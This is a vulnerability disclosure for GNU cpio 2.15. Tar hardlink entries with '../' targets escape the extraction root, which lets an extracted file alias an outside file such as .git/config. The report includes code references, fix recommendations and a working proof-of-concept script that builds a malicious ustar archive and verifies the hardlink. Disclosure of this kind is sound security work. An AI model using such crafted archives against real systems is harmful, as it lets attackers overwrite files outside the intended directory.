GNU cpio 2.15 — Tar Hardlink Target Escape Outside Extraction Root

GNU cpio can extract tar/ustar archives (`cpio -id -H tar`). When processing tar hardlink entries, it uses the archive-provided hardlink target verbatim. If that target points outside the extraction root and exists on disk, extraction can create an in-tree path that aliases an external file.

One realistic attack scenario is a "malicious source tarball" unpacked into a build workspace where the repository already contains interesting files outside the extraction directory:

```
repo/
|-- out/                    (victim-chosen extraction dir)
|-- src.tar                 (attacker-controlled tar)
`-- .git/config             (preexisting file outside out/)
```

Victim workflow:

1. Victim runs: `cd out && cpio -id -H tar < ../src.tar`

If `src.tar` contains a hardlink entry like `config -> ../.git/config`, then `out/config` becomes a hardlink to `repo/.git/config`. Any later tool that edits or `chmod`s files under `out/` can unexpectedly clobber the external file via the aliased extracted path.

0. Environment

- Target: `cpio` (GNU cpio copy-in mode with tar input: `cpio -id -H tar`)
- Version: GNU cpio `2.15`, from `test_target/sources/cpio-latest.tar.gz` (sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`)
- Build (from repository root):

```
WORK=/tmp/unpfuzz-cpio-2.15
rm -rf "$WORK"
mkdir -p "$WORK"
tar -xf test_target/sources/cpio-latest.tar.gz -C "$WORK"
cd "$WORK"/cpio-2.15
mkdir -p build && cd build
../configure --disable-nls CFLAGS='-O2 -g -fcommon'
make -j"$(nproc)"
```

- Binary: `$WORK/cpio-2.15/build/src/cpio` (run PoC with `CPIO_BIN=...`)

1. Description

When extracting tar/ustar hardlink entries, GNU cpio uses the archive-provided hardlink target verbatim and does not confine it to the extraction root.

An attacker can create a hardlink entry inside the extraction directory whose target is a file outside the extraction root, resulting in an extracted path that aliases an external file.

This behavior was **reproduced on GNU cpio 2.15** (from `cpio-latest.tar.gz`, sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`).

Relevant code:

- `src/copyin.c:1486` — member names are sanitized with `cpio_safer_name_suffix(...)`.
- `src/copyin.c:461-472` — tar hardlink extraction passes `file_hdr->c_tar_linkname` directly to `link_to_name(...)`.
- `src/copypass.c:379-386` — `link_to_name(...)` calls `link(link_target, link_name)` directly.

2. Impact

An attacker can create an extracted path that is a hardlink to a file outside the extraction root.

Practical impact includes:

- aliasing external files into the extracted tree;
- causing later tooling that edits the extracted tree to modify an external file;
- exposing an external file through an apparently in-tree extracted path.

3. Reason / Root Cause

The tar hardlink target is treated as trusted metadata.

The member path `inside.txt` is safe, but the hardlink target `../outside/target.txt` is not normalized or confined. The kernel therefore creates `inside.txt` as a hardlink to an external file.

This is a hardlink-target containment failure.

4. Proof-of-Concept

4.1 PoC file

- Runner: `poc.sh`

4.2 What the PoC does

The PoC:

1. Creates an external file `outside/target.txt`.
2. Builds a ustar archive containing a hardlink entry `inside.txt -> ../outside/target.txt`.
3. Extracts the archive with `cpio -id -H tar`.
4. Verifies that `inside.txt` and `outside/target.txt` share the same inode.

4.3 Expected result

Successful exploitation creates:

- `/tmp/unpfuzz_cpio_hardlink/out/inside.txt`

as a hardlink to:

- `/tmp/unpfuzz_cpio_hardlink/outside/target.txt`

5. Fix Recommendations

1. Apply hardlink-target sanitization on the copy-in path, not only for member names.
2. Reject hardlink targets that are absolute or escape the extraction root after normalization.
3. Treat hardlinks like symlinks for containment purposes in extraction tests.
4. Add regression tests for tar/ustar hardlink targets containing `../` or absolute paths.

6. Reproduction

From the repository root: run

```
CPIO_BIN=/path/to/cpio ./poc.sh
```

Below is the poc.sh

```
#!/usr/bin/env bash
set -euo pipefail

CPIO_BIN=${CPIO_BIN:-cpio}

if [[ "$CPIO_BIN" == */* ]]; then
  if [[ ! -x "$CPIO_BIN" ]]; then
    echo "error: CPIO_BIN is not executable: $CPIO_BIN" >&2
    exit 1
  fi
else
  if ! command -v "$CPIO_BIN" >/dev/null 2>&1; then
    echo "error: cpio is required" >&2
    exit 1
  fi
fi

base=/tmp/unpfuzz_cpio_hardlink
rm -rf "$base"
mkdir -p "$base/out" "$base/outside"
printf 'HARDLINK\n' > "$base/outside/target.txt"

python3 - <<'PY'
import tarfile

base = "/tmp/unpfuzz_cpio_hardlink"
with tarfile.open(base + "/hardlink.tar", "w", format=tarfile.USTAR_FORMAT)
as tf:
    ti = tarfile.TarInfo("inside.txt")
    ti.type = tarfile.LNKTYPE
    ti.linkname = "../outside/target.txt"
    ti.mode = 0o644
    tf.addfile(ti)
PY

(cd "$base/out" && "$CPIO_BIN" -id --quiet -H tar < "$base/hardlink.tar")

inside_stat=$(stat -c '%d:%i:%h' "$base/out/inside.txt")
```

```
outside_stat=$(stat -c '%d:%i:%h' "$base/outside/target.txt")

if [[ "$inside_stat" != "$outside_stat" ]]; then
  echo "[-] exploit failed: files are not hardlinked" >&2
  stat "$base/out/inside.txt" "$base/outside/target.txt" >&2
  exit 1
fi

echo "[+] created hardlink to external target"
cat "$base/out/inside.txt"
```